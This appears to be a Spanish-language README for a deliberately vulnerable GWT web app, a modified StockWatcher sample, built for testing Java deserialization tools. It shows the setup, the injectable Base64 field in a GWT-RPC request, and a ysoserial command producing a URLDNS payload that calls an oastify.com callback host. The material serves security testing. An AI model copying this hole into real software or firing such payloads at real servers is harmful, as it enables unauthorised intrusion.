
Una aplicación web basada en GWT, intencionalmente vulnerable, para probar herramientas y técnicas.
Esta es una versión de la aplicación de ejemplo StockWatcher descrita en la guía de introducción a GWT que ha sido modificada para usar la funcionalidad de «clases mejoradas» de GWT, lo que la hace vulnerable a un ataque de deserialización de Java. Solo debe utilizarse para probar herramientas de detección y explotación. Las clases mejoradas se usan comúnmente en aplicaciones reales basadas en GWT, pero hasta la publicación de este ejemplo, no había aplicaciones web de código abierto fáciles de localizar que los profesionales de seguridad pudieran usar para validar sus herramientas y procedimientos.
La explotación de aplicaciones basadas en GWT se analiza en la entrada de blog de Bishop Fox «GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability»](https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability).
Para ejecutar la aplicación web, necesitarás un sistema Linux con las siguientes herramientas:
openjdk-11-jreant (instálalo usando el gestor de paquetes de tu distribución)La aplicación requiere varios archivos JAR que son demasiado grandes para incluirlos directamente en el control de código fuente de GitHub, por lo que la forma más sencilla de empezar es descargar el último paquete desde la página de versiones y descomprimirlo.
Una vez que hayas descomprimido la versión, edita esta línea en build.xml para reemplazar /home/user/GWT/gwt-2.10.0 por tu directorio del SDK de GWT:
Desde el directorio del código fuente, ejecuta los siguientes comandos:
ant build
ant devmode
Esto iniciará la aplicación web vulnerable y hará que sea accesible en http://127.0.0.1:8888/StockWatcher.html.
Ten en cuenta que si estás reenviando tráfico al servicio local para hacerlo accesible de forma remota, también debes reenviar el puerto 9876 además del 8888.
Si deseas clonar este repositorio y ejecutar la aplicación sin descargar una versión, tendrás que descargar y agregar los siguientes archivos JAR de terceros al directorio lib después de clonarlo:
También necesitarás copiar los siguientes archivos JAR de GWT desde tu directorio de GWT (p. ej., gwt-2.10.0/) al directorio lib de esta aplicación vulnerable:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarDespués de copiar todos esos archivos JAR, realiza los demás pasos de la sección de inicio rápido, anterior.
Usando un navegador web configurado para conectarse a través de un proxy de intercepción (como Burp Suite), carga la URL http://127.0.0.1:8888/StockWatcher.html.
La página mostrará inicialmente un mensaje de «compiling» (compilando). Espera hasta que muestre este formulario básico:
Introduce una cadena corta en el campo, como BFOX, y luego haz clic en el botón Add. La página debería comenzar a mostrar actualizaciones aleatorias para el símbolo bursátil simulado:
En el historial de tu proxy de intercepción, observa que tu navegador ahora está enviando repetidamente solicitudes POST a http://127.0.0.1:8888/stockwatcher/checkCustomClass1, similares a la siguiente:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
Los datos binarios codificados en Base64 rO0ABXcEAAAAAA== son un punto de inyección vulnerable en la solicitud. Para explotar la aplicación web, tendrás que generar un payload de reemplazo. Por ejemplo, para generar un payload URLDNS usando la versión personalizada de ysoserial de Bishop Fox, podrías ejecutar el siguiente comando:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
Envía una versión modificada de la solicitud que reemplace rO0ABXcEAAAAAA== con tu payload generado, y la aplicación vulnerable debería deserializarlo y activarlo. Además de la acción que cause el payload, la respuesta también debería incluir una NoSuchFieldException relacionada con el nombre del campo si el valor fue deserializado, p. ej. usando el nombre bishopfox del ejemplo anterior:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
Si usaste la versión precompilada de la aplicación web vulnerable, o agregaste manualmente todos los JAR mencionados anteriormente a una compilación personalizada, deberías poder usar (como mínimo) los siguientes payloads contra la aplicación web:
Al momento de redactar esto, la versión principal de ysoserial no admitía salida con formato GWT, así que asegúrate de usar el fork personalizado.